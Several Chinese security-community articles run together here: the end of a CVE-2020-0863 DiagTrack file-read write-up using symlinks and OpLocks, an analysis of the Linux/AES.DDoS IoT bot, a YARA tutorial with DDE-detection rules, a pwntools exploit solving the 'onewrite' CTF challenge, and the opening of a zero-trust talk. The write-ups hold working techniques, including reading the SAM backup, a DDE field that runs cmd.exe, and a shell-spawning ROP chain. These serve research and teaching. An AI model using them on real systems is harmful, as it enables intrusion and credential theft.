这一次`QueryDirectory`操作能成功完成，目标服务会读取`file1.xml`的内容（该文件为目录中第一个XML文件），将其拷贝到`C:\ProgramData\Microsoft\Diagnosis\SoftLandingStage\`目录中的一个新文件（文件名保持一致）。
目标服务会对其他2个文件（`file2.xml`、`file3.xml`）执行相同的操作：
最后，服务会删除`C:\ProgramData\[…]\SoftLandingStage`中创建的所有XML文件。
> 注意：我在Procmon中创建了一个特定规则，能将`DeleteFile` API调用上下文中涉及到`CreateFile`操作高亮标出。
上图中，`CreateFile`操作源自于`diagtrack.dll`中的`DeleteFileW()`调用：
## 0x03 任意文件读取漏洞
服务在拷贝文件时，并没有调用`MoveFileW()`来实现文件移动，也没有调用`CopyFileW()`实现文件拷贝，并且我们不能控制目的文件夹，因此，本地攻击者无法利用该操作将任意文件移动/拷贝到任意目录。服务会读取每个文件的内容，将内容写入`C:\ProgramData\[...]\SoftLandingStage\`目录中的新文件。从某种角度来看，这应该是一种手动文件复制操作。
这里我们能完全控制的一个因素为源文件目录，因为该目录所有者为当前登录的用户。我们还要注意到一点，目的文件夹的读取权限为`Everyone`，这意味着默认情况下，`Everyone`组成员可以读取该目录中创建的新文件，因此我们仍然有可能滥用这种高权限文件操作。
比如，我们可以将`C:\Users\lab-user\AppData\Local\Packages\[…]\Tips`文件夹替换为指向对象目录（Object
Directory）的一个挂载点（mountpoint），然后创建指向文件系统上任意文件的一个伪符号链接。
如果系统中存在一个备份SAM文件，我们可以创建如下符号链接，获得该文件的一个副本。
C:\Users\lab-user\AppData\Local\Packages\[…]\Tips -> \RPC Control
\RPC\Control\file1.xml -> \??\C:\Windows\Repair\SAM
从理论上讲，如果该服务尝试打开`file1.xml`，就会被重定向到`C:\Windows\Repair\SAM`。因此，服务会读取该文件内容，将其拷贝到`C:\ProgramData\[…]\SoftLandingStage\file1.xml`，使得本地用户能读取该内容。是不是非常简单？然而并非如此。
这里我们会面临两个问题：
1、在`Tips`文件夹上调用`FindFirstFileW()`时会失败，因为目标挂载点并不是一个“真正的”目录。
2、整个过程结束时，服务会删除`C:\ProgramData\[…]\SoftLandingStage`中创建的`file1.xml`文件。
我们可以通过另一个挂载点来解决这两个问题，其中会涉及到一些诱饵文件以及机会锁（OpLock）。
## 0x04 解决FindFirstFileW()问题
为了利用前面介绍的服务行为，我们必须找到可靠的利用方法，将文件读取操作重定向到我们设置的任意文件。然而由于服务调用了`FindFirstFileW()`，这里我们无法直接使用伪符号链接。
> 注意：Win32
> `FindFirstFileW()`函数首先会在目标目录中枚举满足指定过滤条件的文件，但这种方式无法适用于对象目录。比如，我们可以执行`dir
> C:\Windows`命令，但无法执行`dir "\RPC Control"`命令。
第一个问题解决起来非常简单。我们可以不直接创建一个对象目录，而是首先创建指向实际目录的一个挂载点，该目录中包含一些诱饵文件。
首先，我们需要创建一个临时工作目录，结构如下所示：
C:\workspace
|__ file1.xml
|__ file2.xml
然后，创建挂载点：
C:\Users\lab-user\AppData\Local\Packages\[…]\Tips -> C:\workspace
完成这些操作后，`FindFirstFileW()`可以执行成功，返回`file1.xml`。此外，如果我们在该文件上设置一个OpLock，我们可以部分控制目标服务的执行流程（因为当远程过程尝试访问该文件时会暂停执行）。
当OpLock触发时，我们可以切换挂载点，指向对象目录。因为`QueryDirectory`操作只会在`FindFirstFileW()`调用开始时执行一次，因此这种操作能执行成功。
C:\Users\lab-user\AppData\Local\Packages\[…]\Tips -> \RPC Control
\RPC Control\file2.xml -> \??\C:\users\lab-admin\desktop\secret.txt
> 注意：此时我们并不需要创建`file1.xml`的符号链接，因为目标服务已获取该文件的句柄。
因此，当服务打开`C:\Users\lab-user\AppData\[…]\Tips\file2.xml`时，实际上打开的是`secret.txt`，然后会将其内容拷贝到`C:\ProgramData\[…]\SoftLandingStage\file2.xml`。
总结一下：我们可以诱骗服务读取我们并不拥有的一个文件，然而这里我们会涉及到第二个问题：在操作完成时，服务会删除`C:\ProgramData\[…]\SoftLandingStage\file2.xml`，此时我们将无法读取该文件内容。
## 0x05 解决文件删除问题
由于目标文件会在操作完成时删除，因此我们必须赢得与目标服务的竞争条件，在服务执行删除操作前拿到文件的副本。为了完成该任务，我们可以有两种选择：第一个选择为采取暴力方式。我们可以实现一个监控机制，循环监控`C:\ProgramData\[…]\SoftLandingStage`目录文件夹，当`NT
AUTHORITY\SYSTEM`完成新XML文件写入时，第一时间拿到文件副本。
然而，暴力方式并不是最佳选择。这里我们有更为可靠的第二种选择，但我们得从头考虑整个策略。
前面我们在临时的工作目录中创建了2个文件，这里我们要创建3个文件：
C:\workspace
|__ file1.xml
|__ file2.xml
|__ file3.xml
下一个步骤相同。然而，当`file1.xml`上的OpLock触发时，我们将多执行两个操作。
首先，我们将切换挂载点，创建2个伪符号链接。然后，我们要确保`file3.xml`链接指向的是实际的`file3.xml`文件：
C:\Users\lab-user\AppData\Local\Packages\[…]\Tips -> \RPC Control
\RPC Control\file2.xml -> \??\C:\users\lab-admin\desktop\secret.txt
\RPC Control\file3.xml -> \??\C:\workspace\file3.xml
然后，在释放第一个OpLock前，我们需要在`file3.xml`上设置一个新的OpLock。
采用这种策略后，目标服务的整个操作过程如下所示：
1、DiagTrack尝试读取`file1.xml`，触发第一个OpLock。
2、此时，我们切换挂载点，创建2个符号链接，在`file3.xml`上设置OpLock。
3、释放第一个OpLock（`file1.xml`）。
4、DiagTrack拷贝`file1.xml`及`file2.xml`（`file2xml`指向的是`secret.txt`）。
5、DiagTrack尝试读取`file3.xml`，触发第二个OpLock。
6、这一步为关键步骤。此时，远程过程被暂停，因此我们可以拿到`C:\ProgramData\[…]\SoftLandingStage\file2.xml`的副本，该文件本身就是`secret.txt`的副本。
7、释放第二个OpLock（`file3.xml`）。
8、远程过程结束，删除3个XML文件。
> 注意：这种技巧之所以行之有效，是因为DiagTrack采用顺序执行方式来操作整个过程，每个文件会被依次拷贝，最后删除新创建的所有文件。
这种方式较为可靠，使普通用户能够获得`NT AUTHORITY\SYSTEM`能读取的任意文件的副本。我开发的PoC测试结果如下图所示：
## 0x06 参考资料
* CVE-2020-0863 – Connected User Experiences and Telemetry Service Information Disclosure Vulnerability
<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0863>
* My PoC for CVE-2020-0863
<https://github.com/itm4n/DiagTrackAribtraryFileRead>
* RpcView
<https://www.rpcview.org/>
* Symbolic Link Testing Tools – James Forshaw
<https://github.com/googleprojectzero/symboliclink-testing-tools> | 社区文章 |
# 【技术分享】对新型LINUX/AES.DDOS IOT恶意软件的分析（Part 1）
|
##### 译文声明
本文是翻译文章，文章来源：lloydlabs.github.io
原文地址：<https://lloydlabs.github.io/post/aes-ddos-analysis-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
在本文中，我们介绍了一款僵尸程序，这款僵尸程序通过暴力破解SSH凭据，使用一系列攻击技术来攻击IoT设备，借助这些设备达到传播目的。这款恶意软件的主要传播者为某位中国黑客，这名黑客对C++及C语言中的构造方法较为了解，但用的最多的还是C++中的`std::string`类。这款僵尸程序几年前针对的只是x86_64平台，但现在情况有所改变。根据我们对`Linux/AES.DDoS`僵尸程序导出符号及C++构造函数的观察，我们判断该应用所使用的是C++语言。
本文中我们用到的分析工具包括：
1、gdb-peda：<https://github.com/longld/peda>
2、BinaryNinja：<https://binary.ninja/>
3、ltrace：<https://linux.die.net/man/1/ltrace>
4、radare2：<http://rada.re/r/>
**
**
**二、样本概况**
如果我们使用file命令分析这个程序，我们可以得到如下结果：
ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped.
因此，这是一个32位ELF可执行文件（UNIX系统上的COFF格式），ARM架构，静态链接了所有的库文件。IoT僵尸程序经常在程序中静态链接libc库，因为许多系统上的程序库通常处于不完整甚至损坏状态。因此这类程序一般不会动态链接可执行程序，相反它们会采用静态链接方案。这款恶意软件没有剔除这些有价值信息，因此我们可以在程序中找到一些有意义的对象名，使分析工作大为简化。出于某些奇怪的原因，攻击者使用已有12年历史的一个Linux内核来编译这款软件，这表明恶意软件很有可能是在某个IoT设备或某台老式主机上编译而成。
样本哈希值如下：
MD5：125679536fd4dd82106482ea1b4c1726
SHA1：6caf6a6cf1bc03a038e878431db54c2127bfc2c1
**
**
**三、ARM快速简介**
ARM是一种32位指令集架构，因此所有的寄存器都是32位寄存器。在ARM架构中，标准的调用约定是将参数存放于r0到r3寄存器中。r0到r3只有4个寄存器，因此如果函数使用的参数个数大于3个，那么剩余的参数可以存放于栈上。我们可以使用16个寄存器，每个寄存器都有其特殊用途，具体用途如下：
1、r0、r1、r2、r3用于参数传递，r0通常用来保存函数返回值；
2、r4、r5、r6、r7、r8、r9用来存放程序内部变量；
3、r10存放当前栈限制指针；
4、r11存放栈帧指针；
5、r12也可以用作程序内部变量寄存器，但我们无法保证调用期间该寄存器保持不变；
6、r13存放堆栈指针（stack pointer，SP）；
7、r14为连接寄存器（link register），指向调用者；
8、r15存放程序计数器。
掌握这些基本知识后，我们可以继续开展后续研究工作。
**
**
**四、分析main函数**
恶意软件会从原始入口点（main）启动，该函数地址为0x13DEC。我们可以使用rabin2查找原始入口点，具体命令为`rabin2 -s kfts |
grep "type=FUNC name=main"`，这条命令的输出结果如下所示：
vaddr=0x00013dec paddr=0x0000bdec ord=5366 fwd=NONE sz=688 bind=GLOBAL type=FUNC name=main
这个程序没有经过加壳处理。main方法会执行名为get_executable_name的一个函数分支，该函数通过`readlink(..)`读取符号链接`/proc/self/exe`。如果在进程内部读取这个符号链接，会得到程序运行时所处的具体位置。从反汇编结果中我们可知，程序创建了一个`std::string`字符串，将包含当前执行路径的char数组复制到该字符串中。随后的本地持久化过程中会用到这个字符串。
随后，程序会检查自身是否处于运行状态，根据结果决定是否添加为启动程序。在`check_running`流程中，程序会执行“ps
-e”命令，休眠2秒，然后查找结果中是否包含当前的程序名。如果已包含当前程序名，则跳转到exit分支，退出代码为0（存放于r0寄存器中），以完全关闭当前进程。如果不包含当前程序名，则执行持久化分支。简而言之，如果之前该已处于运行状态，则程序会直接退出执行。
**
**
**五、持久化方法**
恶意软件通过往`/etc/rc.local`以及`/etc/init.d/boot.local`文件（auto_boot函数）中添加内容实现本地持久化，在覆盖这些文件之前，恶意软件会先检查之前是否已执行过覆盖操作。当所有的系统服务启动完毕后，`/etc/rc.local`会执行某些命令。然而，恶意软件所使用的持久化技术相对而言较为业余，它构造了一个shell命令，然后使用`system`函数来执行这条命令（理论上这种方法相当于调用exec，然后挂起等待被调用的程序返回）。
恶意软件使用sed程序将某个格式化字符串写入目标文件（样本中有几处用到了字符串操作，比如`sed -i -e '2 i%s/%s'
/etc/rc.local`等），然后使用`system`方法调用该字符串完成命令执行过程，如前文所述。所有格式化字符串操作所用的缓冲区大小为300字节，缓冲区的虚拟地址为0x9F48。从技术角度来看，由于恶意软件没有过滤输入数据，因此我们可以操控恶意软件所在的路径，利用字符串格式化漏洞技术攻击该程序。攻击成功后，我们可以修改栈状态、读取本地变量、覆盖函数及数据地址等。这种持久化方法是这款僵尸程序使用的唯一的持久化方法。
**
**
**六、信息收集**
随后，进程执行fork语句，通过`setsid(..)`脱离父进程。脱离父进程会话时，该进程会关闭从父进程继承的所有文件描述符（0-3）。随后，恶意软件创建一个线程，调用`SendInfo`函数，通过该函数收集信息，这类信息包括系统中的CPU数量、网速、系统CPU负载、网络适配器的本地地址等。
接下来程序会调用`get_occupy`子函数。程序遍历系统中的所有CPU，计算平均负载。该循环以r3寄存器作为计数器，然后调用blt指令。当blt的第一个操作数小于第二个操作数时，就会跳转到其他分支。在x86平台上，这条指令等价于jle指令。需要注意的是，在早期版本中，这款恶意软件会创建一个backdoorA线程来执行类似操作，但这种情况现已不复存在。
恶意软件通过读取`/proc/net/dev`文件来获取网络适配器信息。打开文件后，恶意软件从文件头部开始解析整个文件，从默认适配器上获取本地IP地址。
奇怪的地方在于，这款恶意软件会创建一些没有实际意义的统计数据。比如，该软件会生成一个随机的值，将该值作为网速值加以使用。恶意软件在`fake_net_speed`
子函数中以time函数的结果为种子来调用srandom函数，以生成随机值。具体过程是将第一个参数“0”传递给time函数（通常情况下，该函数接受指向time_t的一个指针，这里我们不需要传入任何结构体），随后，time的返回值保存到r3寄存器中，再传入r0，最终作为srandom的参数加以使用。可能是编译器因为某种原因变得比较奇怪才出现这种执行流程。
通过子函数生成随机值后，恶意软件利用`sprintf`语句生成代表网速的一个字符串，其单位为MBps。这种情况非常奇怪，表明恶意软件因为某种原因生成了一个虚假的网速值，我能想到的唯一解释是，某人聘请了一些技艺不精的码农，而这些码农无法实现这一功能，因此他们只好造假来迎合客户或老板的需求。
子函数会将这些值发给主C2服务器。
**
**
**七、通信初始化**
分析完这些过程后，接下来我们面对的是恶意软件的核心功能，在这个过程中，恶意软件会连接到C2服务器，并接收服务器返回的指令。恶意软件会在程序主体区域调用`ConnectServer`
函数（地址为0xCA1C），该函数中会调用`ServerConnectCli`
（地址为0xB5BC）函数以获得C2服务器对应的socket，将socket存放到`MainSocket`
这个全局变量中。我们来看看`ServerConnectCli`这个函数。
`ServerConnectCli` 首先会创建协议类型为TCP的一个socket，如果无法成功创建socket，则会跳转到位于`0xB654`
处的分支，通过`perror(..)`函数显示可读的错误信息。
如果你对C比较熟悉，那么上述代码等同于如下语句：
r0 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
作者部分混淆了恶意软件要连接的端口号。原始的端口号存放于r3寄存器中，通过`lsl`指令将这个值左移16个字节（0x10），然后再往右移16个字节，最终得到混淆后的端口号。这个过程对应的汇编代码如下所示：
mov r3, r0
strh r3, [r3, #0x104]
lsl r3, r3, #0x10 // shift r3 RIGHT by 0x10
lrl r3, r3, #0x10 // shift r3 LEFT by 0x10
mov r0, r3
bl htons
对应的伪代码如下：
r3 = ((r3 << 0x10) >> 0x10)
恶意软件在`0xB1B8`处使用了名为`AnalysisAddress`
的一个函数，乍一看人们可能会认为这是作者用来转移研究人员注意力的函数，但实际上该函数的唯一功能就是填充一个[`hostent`](http://man7.org/linux/man-pages/man3/gethostbyname.3.html)结构体，后续的连接过程中会用到这个结构体。该函数传入存放于r0寄存器中的一个参数（参数位于`0xC1FC8`处，值为`61.147.91.53`），返回值（`gethostbyname`
函数的返回结果）存放到r3寄存器中，恶意软件会基于该返回值做一些后续处理。
恶意软件使用`IP_DROP_SOURCE_MEMBERSHIP` 标志两次调用`setsockopt`函数，该步骤完成后，恶意软件调用`connect`
函数向C2服务器发起初始连接请求。恶意软件在socket上使用了`select`
以及`getsockopt`方法，以确保非阻塞socket连接成功。如果连接不成功，恶意软件会关闭socket并退出执行。
如果`ServerConnectCli`返回了可用的socket，恶意软件会将该值保存到MainSocket全局变量中。随后，恶意软件会继续收集已感染设备的更多统计信息。首先，它会获取运行该程序的用户名，将用户名保存到r11寄存器中。从代码中可知，当`uname`调用失败时，程序会将“Unknown”字符串保存到目标缓冲区中，该缓冲区的地址保存在r11寄存器中，如果`uname`调用成功，则会跳转到`0xCA8C`分支。
恶意软件通过`GetCpuInfo`
函数收集已感染主机的更多信息。这个过程比较简单，这里稍微介绍一下。恶意软件会打开`/proc/cpuinfo`虚拟文件，按单字（WORD）大小逐块读取数据，直至读取到EOF（-1）字符，然后调用`fclose`函数释放已打开的文件。解析完毕后，恶意软件可以获取主机的CPU数以及CPU时钟频率（单位为MHz）。
随后，恶意软件调用`sysinfo(..)`函数，将结果存放于`sysinfo`结构体中（结构体地址存放于r3寄存器中）。这个结构体中包含一些成员变量，比如交换分区大小、RAM总量等等，这些信息格式化后会存放到一个字符串中。
作者在这里中留下了“Hacker”字符串，似乎在表明自己玩世不恭的态度。恶意软件所用的格式化字符串为`VERSONEX:Linux-%s|%d|%d
MHz|%dMB|%dMB|%s`（攻击者出现了拼写上的错误，这里应为“version”）。奇怪的是，在调用`snprintf`
之前，程序先调用了`sprintf` 函数（`snprintf`
函数知道缓冲区的长度，因此可以避免出现格式化字符串漏洞）。码农通常倾向于使用同一个函数，因此这种情况表明这款恶意软件的维护人员应不止一个人。
在控制流程中，恶意软件通过MainSocket变量所对应的socket来发送信息，如果信息发送失败，恶意软件会跳转到另一个执行分支，关闭当前socket。
在ARM平台上，如果上一条比较指令的两个操作数相等（设置相应的标志位），那么`beq`指令就会跳转到`0xCBD4`地址处。前面提到过，该子函数的功能是关闭socket。如果函数调用成功，恶意软件会调用`select`函数，准备读取来自C2服务器的响应数据。在读取C2服务器的响应数据之前，程序首先会清空大小为`0x1380`
的缓冲区。如果缓冲区无法成功置零，程序会再次打印错误信息，跳转到另一个子函数，关闭socket并清空上下文环境。
**
**
**八、总结**
根据本文分析，我们可知有多个开发者在维护这款恶意软件。此外，我们也知道开发者在socket编程方面有一定经验。作者在程序中也用到了帕斯卡拼写法（如“LikeThis”）来命名一些函数（如`GetCpuInfo`
），这表明作者可能习惯于在Windows平台上完成开发工作。
本文到此为止，后面我们会继续分析这款僵尸程序的攻击手法及程序所支持的具体命令。 | 社区文章 |
## Author:zzzhhh
# 1、前言
YARA是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的开源工具，使用YARA可以基于文本或二进制模式创建恶意软件家族描述与匹配信息。现在已经被多家公司所运用于自身的产品。
# 2、YARA-规则撰写
YARA规则的字符串有三种类型：文本字符串、十六进制字符串、正则表达式。文本字符串用来定义文件或进程内存中可读型内容，十六进制字符串用来定义字节内容，正则表达式可用在文本字符串和十六进制字符串中。
rule HexExample /* 规则名称 */
{
strings: /* 字符串，可使用文本字符串、十六进制字符串、正则表达式 */
$hex_string = {6A 40 68 00 30 00 00 6A 14 8D 91}
$char_string = "UVODFRYSIHLNWPEJXQZAKCBGMT"
condition: /* 条件区域 */
$hex_string or $char_string
}
`
# 3、YARA使用
除了根据特征用来搜索病毒样本，还可以通过某些壳的特征判断软件用了啥壳。由于上传的可疑样本都会被保存到VT数据库中，所以通过VT还可以搜索到指定字符串的秘密级别文档。
## 3.1 VT使用
### 1、使用VT账户登录VT->hunting模块
### 2、在Rulesets选项中Edit添加YARA规则并保存
### 3、在Rulesets选项中Settingss设置自己的联系邮箱并保存，用于获取检索结果。
### 4、设置完Rulesets中的YARA规则后便可在Notifications选项中得到想要检索的样本
### 5、示例
**1）技术细节**
DDE协议是Microsoft用来允许两个正在运行的应用程序共享相同数据的几种方法之一。 该协议正在被数以千计的应用程序使用，包括MS Excel，MS
Word和Visual
Basic进行数据交互。由于DDE是Microsoft的合法功能，因此大多数防病毒解决方案都不会标记任何警告或阻止使用DDE字段的文档。
没有任何限制或检测的情况下，点击打开恶意文档都有可能在计算机上运行恶意代码。利用DDE的文档会运行一个控制台命令，使用PowerShell命令在受害者的机器上安装恶意软件。
利用方法：
新建一个Word文档，通过Ctrl+F9添加一个域，然后修改域代码为：
{ DDEAUTO c:\\windows\\system32\\cmd.exe " /k notepad.exe" }
{ DDE c:\\windows\\system32\\cmd.exe " /k notepad.exe" }
**2）安全事件**
这种DDE攻击技术首次被高级持续威胁（APT）黑客组织APT28利用，FireEye公司发布了最新的威胁情报报告《APT28: At The Center
for The
Storm（APT28：位于风暴中心）》。在此报告中FireEye认定著名的APT28组织就是俄罗斯政府支持的黑客组织。结合本次用YARA规则获取的样本，利用样本里的C&C信息还关联到DDE当前还被大量的Locky类勒索病毒所使用。
**3）YARA规则**
通过Github搜索现有DDE YARA规则进行匹配。
rule Office_DDEAUTO_field {
strings:
$a = /<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/
condition:
$a
}
rule Office_DDE_field {
strings:
$a = /<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/
condition:
$a
}
rule Office_OLE_DDEAUTO {
strings:
$a = /\x13\s*DDEAUTO\b[^\x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
}
rule Office_OLE_DDE {
strings:
$a = /\x13\s*DDE\b[^\x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
}
**4）获取到的样本信息**
通过VT就可以轻松匹配到互联网上使用这个office漏洞的样本。提取出利用这个漏洞的C&C信息后，接下来就可以根据C&C信息再关联到具体的事件，域名提取示例如下：
**样本1-7bef74262c3624ca37a62c84b1ff3b82**
通过关联网址对应的每个样本跟locky相关。
**样本2- 14ba65111e967d79de13cee417c89c2c**
**样本3- 14ba65111e967d79de13cee417c89c2c**
## 3.2 Windows命令行运用YARA
调用YARA需要输入两条内容。一是包含想要使用的规则的文件（无论是源代码还是编译后的形式）、二是被扫描的目标（ 目标可以是文件，文件夹或进程）
示例：
yara32.exe -m -w -f -r AllSigs.yarc C:\Users\AT\Desktop\YARA学习\Yara
-m 打印元数据
元数据（MetaData）的目的在于对规则描述进行额外的描述存储
-w 禁用警告信息
-f 快速匹配模式
-r 递归搜索目录
输出效果：
规则文件可以直接源代码的形式使用，也可以先用yarac工具编译后使用。
如果打算以相同的规则多次调用YARA，以编译形式使用YARA规则可以节省更多时间。因为对于YARA来说，加载编译规则要比一遍又一遍编译相同的规则更快。
编译YARA规则的批处理代码如下，代码中默认存放规则目录在C:\Yara\，编译后的库路径和名字为C:\Yara\AllSigs.yarc，这个路径可以自己定义：
@echo off
::将自身路径设置为变量
Set CurPath=%CD%
::删除原规则文件
del C:\Yara\AllSigs.yara
::把当前路径下的文件名字全部读取
::type命令解析*.yara内容追加到AllSigs.yara
for /r %%i in (*.yara) do (
type %%i >> AllSigs.yara
)
::yarac 为编译yara工具，将AllSigs.yara编译成AllSigs.yarc
call C:\Yara\yarac32.exe C:\Yara\AllSigs.yara C:\Yara\AllSigs.yarc
::如果编译成功跳转，不成功则打印出错误码，删除规则文件后跳转到结束位置
if %ERRORLEVEL% == 0 goto :next
echo Errors encountered during yara compliation. Exited with status: %errorlevel%
del C:\Yara\AllSigs.yara
goto :endofscript
::打印出编译成功
:next
echo Yara compilation successful!
:endofscript
编译完毕后，可以使用以下批处理代码对编译后的YARA数据库进行调用。
@echo off
C:\Yara\yara32.exe -m -w -f -r C:\Yara\AllSigs.yarc %1
## 3.3 使用python运用YARA
按照编译和安装YARA库，就可以使用Python运用YARA功能了。步骤如下：
1、导入yara模块
import yara
2、编译YARA规则，然后将它们应用到数据中，规则可以从文件路径编译：
rules = yara.compile(filepath='/foo/bar/myrules')
3、Rules实例有一个match方法，它允许将规则应用于文件或是进程，这里给出应用文件的示例代码如下：
matches = rules.match(‘/foo/bar/my_file’)
但是也可以将规则应用于Python字符串：
with的方法：
with open('/foo/bar/my_file', 'rb') as f:
matches = rules.match(data=f.read())
打开文件流的方法：
fp = open(mapath, 'rb')
matches = rule.match(data=fp.read())
核心代码学习完毕之后，就把重心点从所学应用到批量编译规则，批量扫描上来吧。不建议把目录存放在中文目录下。
**yara_database_test.py**
#/usr/bin/python
#coding=utf-8
import yara
import os
import sys
reload(sys)
sys.setdefaultencoding('utf8')
# 获取目录内的yara规则文件
# 将yara规则编译
def getRules(path):
filepath = {}
for index,file in enumerate(os.listdir(path)):
rupath = os.path.join(path, file)
key = "rule"+str(index)
filepath[key] = rupath
yararule = yara.compile(filepaths=filepath)
return yararule
# 扫描函数
def scan(rule, path):
for file in os.listdir(path.decode("utf-8")):
mapath = os.path.join(path, file)
fp = open(mapath, 'rb')
matches = rule.match(data=fp.read())
if len(matches)>0:
print file,matches
if __name__ == '__main__':
rulepath = sys.argv[1]
malpath = sys.argv[2]
# rulepath = "D:\\rule_test" # yara规则目录
# malpath ="D:\\test_vir" # 木马存在目录
#yara规则编译函数调用
yararule = getRules(rulepath)
# 扫描函数调用
scan(yararule, malpath)
**rule_test** 目录内容
**test_vir** 目录内容
运行如下：
# 4、参考
yara手册
<http://yara.readthedocs.io/en/v3.7.0/>
yara介绍
<http://virustotal.github.io/yara/>
恶意软件模式匹配利器 – YARA
<http://www.freebuf.com/articles/system/26373.html>
VirusTotal Hunting示例
<https://www.virustotal.com/#/hunting-overview>
VirusTotal Hunting使用帮助
<https://www.virustotal.com/intelligence/help/malware-hunting/>
教你构建自己的yara数据库
<http://www.freebuf.com/sectool/92399.html>
Yara官方预置规则
<https://github.com/Yara-Rules/rules>
yarapython
<http://yara.readthedocs.io/en/v3.4.0/yarapython.html> | 社区文章 |
# Insomni'hack Teaser 2019-onewrite详细解析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
新年第一场比赛是由知名CTF战队0daysober举办的所以题目质量还是很好的，其中还有一些真实漏洞的利用。这里记录一下做题经历。这个题目的利用方式还是很新的很有借鉴意义。真的是比赛虐我千百遍我待比赛如初见。。
## 程序分析
首先打开程序的时候ida加载了很久，大概看了一下函数数量，编译的时候没有去符号很多libc库的函数都在但是file文件又是动态链接这里还是比较新奇他用的编译器是什么。。
### main
首先main函数给了我们提示，这里会有一个leak和一个write的机会，但是只有一次额
### do_leak
大概分析一下程序，我们可以泄漏stack或者pie的地址但是均只有一次泄漏的机会，只能利用一次然后会进入到下一个函数overwrite
### overwrite
程序很简单就是输入地址然后我们能写入8个字节的一个数。
### read_int3
截图出这个函数的目的是因为这里限制了输入是15个字节所以在些exp的时候我们需要使用send而不是sendline否则会出现一些覆盖不成功的问题（作为新手的我被大佬点醒了的地方）
### ROPchain分析
我一般用的工具是ropchain，因为这是栈的题目，二进制文件中又包含了大量的libc函数的信息，并且没有给我们libc版本我们也做不到泄漏libc版本这个操作（当时做题感觉做不到，后来发现可能可以做到没有去实现）
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x84fa pop rdi ; ret
[+] Gadget found: 0xd9f2 pop rsi ; ret
[+] Gadget found: 0x484c5 pop rdx ; ret
[+] Gadget found: 0x917c syscall
搜索出来的结果还是比较在意料之中，所以大概估计就是利用ret2syscall了，不过接下来要解决的就是怎么做到循环利用之前的那些函数了，让任意写可以多次，来布置我们的栈。
静态分析大概就是这些，这个题目有大量的时间是需要进行动态调试才能实现。这里有个坑，我在py代码里使用gdb.attach(p)是会报错的，但是用raw_input暂停程序后在进行是不会出现这种问题的了。
## 动态调试
### leak分析
主要是看看泄漏出的地址是哪一个，这里贴出栈的地址，关于pie就是泄漏了do_leak函数
**中部思路**
覆盖ret地址，循环利用泄漏pie。
### 进一步调试
这里就不贴图了，你会发现如果只覆盖一次那么在循环2次之后程序就会结束运行，我估计是栈的变动导致的，所以查看一下栈的分布。
其中会有很多的其他栈信息，这里我们可以利用任意写不断的进行一个覆盖让栈里只剩下do_leak地址那么我们就可以重复利用多次了。下面贴一张覆盖后的图
这里可以看见覆盖了好多。。。紧接着的地址就是我们的rop了。
## 思路分析
一、先进行第一次重复利用泄漏出pie地址
二、不断填充栈使我们可以多次重复利用do_leak函数中的任意写函数
三、布置ROP，在执行rop之前需要不断进行消耗do_leak地址因为之前写的比较多之后就可以getshell了
## exp
from pwn import*
p = process('./onewrite.dms')
#p=remote("onewrite.teaser.insomnihack.ch",1337)
context.log_level = 'debug'
raw_input()
def leak(number):
p.recvuntil('> ')
p.sendline(str(number))
stack = int(p.recvuntil('n'),16)
return stack
def write(address,data):
p.recvuntil(" : ")
p.send(str(address))
p.recvuntil(' : ')
p.send(data)
stack = leak(1)
write(stack-8,chr(0x15))
leak_do = leak(2) - 0x8a15
Lbase = leak_do + 0x8a15
write(stack-0x20,'x15')
for i in range(10):
leak('1')
write(stack-8-0x18*(i+2),'x15')
for i in range(10):
leak('2')
if i%2==0:
write(stack-0x108+0x30*int(i/2),p64(Lbase))
else:
write(stack-0xf0+0x30*int(i/2),p64(Lbase))
pop_rdi = leak_do+0x84fa
pop_rsi = leak_do+0xd9f2
pop_rdx = leak_do+0x484c5
pop_rax = leak_do+0x460ac
syscall = leak_do+0x4610E
bss = leak_do+0x2B3300
leak('1')
write(bss,'/bin/shx00')
payload = [pop_rax,0x3b,pop_rdi,bss,pop_rsi,0,pop_rdx,0,syscall]
for i in range(len(payload)):
leak('1')
write(stack-0x20+i*8,p64(payload[i]))
raw_input()
for i in range(10):
leak('1')
write(stack-0x100,'peanuts')
p.interactive()
## 总结
这个题目的代码分析上很简单，但是更多的工作是在调试上，调试可能要花上好几个小时的时间，因为需要看栈的分布计算栈的位置等等问题很多。也学到了很多，国际赛最好的一点就是可以开拓你的思路，还是那句话比赛虐我千百遍，我待比赛如初恋啊。。 | 社区文章 |
# EISS2021-办公网零信任安全建设实践
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
大家好，非常高兴给大家分享《办公网零信任安全建设》这个话题。
分享之前我想先简单介绍一下我们公司，趣加是一家游戏公司，主要了是面向海外市场，所以有很多同学了可能没有听过我们公司；但喜欢玩游戏的同学可能听过一个战队，就做fpx那其实就是我们公司的一个战队。
## 二、分享内容
我今天要分享的内容主要是三点
首先是我们为什么要做零信任安全建设，前面很多老师讲过了零信任的一些应用场景和零信任的理念,这里了我简单提一下我们趣加为什么要去做零信任建设;第二个是我们如何去设计零信任架构，零信任建设主要是结合业务去实现，这里了我想以趣加为例子，分享一下我们的建设思路；第三点是我们在建设实践过程当中具体如何去做的，做了哪些事情以及一些细节性的问题；
## 三、为何要做
首先让我们为什么要去做零信任建设，很多重视安全的公司了需求来源分为两类，一类是外部的驱动，另一类是内部驱动；这里我们我们趣加其实就是内部驱动，然后去做一些安全方面的事情事情
